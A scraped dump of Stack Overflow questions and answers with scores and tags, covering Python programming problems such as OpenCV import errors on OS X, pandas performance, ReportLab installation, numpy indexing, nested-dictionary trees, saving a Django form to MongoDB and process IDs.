<p>Override either the <a href="https://flask-admin.readthedocs.io/en/latest/api/mod_model/#flask_admin.model.BaseModelView.after_model_change" rel="nofollow">after_model_change</a> method or the <a href="https://flask-admin.readthedocs.io/en/latest/api/mod_model/#flask_admin.model.BaseModelView.on_model_change" rel="n...
1
2016-08-02T10:24:56Z
[ "python", "database", "flask-admin" ]
Opencv3: Error when import cv2 in python OSX el capital
38,711,098
<p>I was installed OpenCV 3.1 on mac OSX, I also create a symlink in </p> <pre><code>/Library/Python/2.7/site-packages: cv2.so -&gt; /usr/local/Cellar/opencv3/3.1.0_3/lib/python2.7/site-packages/cv2.so </code></pre> <p>But when I import cv2 in terminal i got this error:</p> <pre><code>&gt;&gt;&gt; import cv2 Traceb...
2
2016-08-02T02:56:34Z
38,738,295
<p>I found the solution in <a href="https://developers.google.com/speed/webp/docs/compiling#building" rel="nofollow">here</a>. Installed webp using macports not solve the problem, I have to install webp follow this step:</p> <ul> <li>Download libwebp-0.5.1.tar.gz (not libwebp-0.5.1-mac-10.9.tar.gz) from <a href="https...
0
2016-08-03T08:26:39Z
[ "python", "osx", "python-2.7", "opencv", "opencv3.1" ]
Opencv3: Error when import cv2 in python OSX el capital
38,711,098
<p>I was installed OpenCV 3.1 on mac OSX, I also create a symlink in </p> <pre><code>/Library/Python/2.7/site-packages: cv2.so -&gt; /usr/local/Cellar/opencv3/3.1.0_3/lib/python2.7/site-packages/cv2.so </code></pre> <p>But when I import cv2 in terminal i got this error:</p> <pre><code>&gt;&gt;&gt; import cv2 Traceb...
2
2016-08-02T02:56:34Z
39,401,123
<p>I had the same issue, and after run <code>brew install webp</code> it simply fixed the import issue on python.</p> <p>I hope this help you.</p>
2
2016-09-08T22:29:30Z
[ "python", "osx", "python-2.7", "opencv", "opencv3.1" ]
Why pandas apply much slower than dataframe merge
38,711,147
<p>From my <a href="http://stackoverflow.com/questions/38697404/pandas-explanation-on-apply-function-being-slow/38708239?noredirect=1#comment64799081_38708239">previous question</a>, I know apply is much slower than dataframe merge directly.</p> <p>But I am still confused about why that much slower, as in my understan...
1
2016-08-02T03:05:05Z
38,711,326
<p>The answer is <strong>yes</strong>. Python can be hundreds of times slower than C, just because it's Python, with equivalent asymptotics. As an applied mathematician with lots of number crunching experience, I can testify that C can be tens to hundreds of times faster than Python. See <a href="https://benchmarksgame...
1
2016-08-02T03:28:40Z
[ "python", "pandas" ]
Installation: Reportlab: "ImportError: No module named reportlab.lib"
38,711,221
<p>I've installed reportlab, via</p> <pre><code>pip install reportlab </code></pre> <p>(also tried via</p> <pre><code>easy_install reportlab </code></pre> <p>)</p> <p>..but I get the above error. There are other RL imports before that - it's the .lib that it's objecting to. I've had RL working great in the past, b...
1
2016-08-02T03:15:11Z
38,769,487
<p>Most of the times errors like this are caused by an broken package, either in the package it self or in one of it's dependencies. </p> <p>The best way to resolve such a issue is to force-reinstall the package, it will reinstall the package and its dependencies potentially repairing the package. </p> <p>To force-re...
0
2016-08-04T13:59:10Z
[ "python", "installation", "pip", "reportlab" ]
updating specific numpy matrix columns
38,711,248
<p>I have the following list of indices <code>[2 4 3 4]</code> which correspond to my target indices. I'm creating a matrix of zeroes with the following line of code <code>targets = np.zeros((features.shape[0], 5))</code>. Im wondering if its possible to slice in such a way that I could update the specific indices all ...
3
2016-08-02T03:19:47Z
38,711,497
<p>I believe you can do something like this:</p> <pre><code>targets = np.zeros((4, 5)) ind = [2, 4, 3, 4] targets[np.arange(0, 4), ind] = 1 </code></pre> <p>Here is the result:</p> <pre><code>array([[ 0., 0., 1., 0., 0.], [ 0., 0., 0., 0., 1.], [ 0., 0., 0., 1., 0.], [ 0., 0., 0., ...
4
2016-08-02T03:53:10Z
[ "python", "numpy" ]
Create a tree from multiple nested dictionaries/lists in Python
38,711,365
<p><strong>Preface</strong>: To help explain <strong>why</strong> I am doing this, I will explain the end goal. Essentially I have a list of <em>accounts</em> that are defined in a very specific syntax. Here are some examples:</p> <pre><code>Assets:Bank:Car Assets:Bank:House Assets:Savings:Emergency Assets:Savings:Goa...
0
2016-08-02T03:36:18Z
38,712,931
<p>That took me ages to sort out in my head. The dictionaries are simple, one key which always has a list as a value - they're used to have a named list.</p> <p>Inside the lists will be a string, or another dictionary (with a key with a list).</p> <p>That means we can break up 'Assets:Bank:Car' and look for a diction...
1
2016-08-02T06:10:55Z
[ "python", "dictionary", "recursion", "tree", "nested" ]
Saving option value from Django to mongodb
38,711,457
<p>I'm new to Django. And recently am working on a website that need to show data from mongoDB and collect people's answers by offering forms. And now I got stuck with saving data from form to mongoDB. </p> <p>I want people to only choose one answer in the dropdown form. Here is the html:</p> <pre><code> ...
0
2016-08-02T03:47:40Z
38,713,369
<p>This may work for you :-</p> <p>Your views.py :- </p> <pre><code>def labeling(request): if request.method == 'POST': form = FormClassName(request.POST) if form.is_valid(): instance = form.save(commit=False) instance.reply = form.cleaned_data['reply'] instance...
0
2016-08-02T06:40:48Z
[ "python", "django", "mongodb" ]
Python - Get the process id of an instance
38,711,472
<p>I'm trying to work with different processes in Python, and I am having some difficulty getting the PID of a particular instance.</p> <p>For example, I'm sending the mainCar instance in one class:</p> <pre><code>warehouse = Warehouse() mainCar = Car().start() warehouse.add(mainCar) </code></pre> <p>in the warehous...
0
2016-08-02T03:49:09Z
38,712,336
<p>I think you're fundamentally misunderstanding what's going on. Your question still doesn't make much sense, because objects have <em>no notion</em> of PID. Even if you used the multiprocessing module to spawn multiple processes and passed objects around with queues, there is no Python function that will tell you the...
0
2016-08-02T05:26:35Z
[ "python", "python-3.x" ]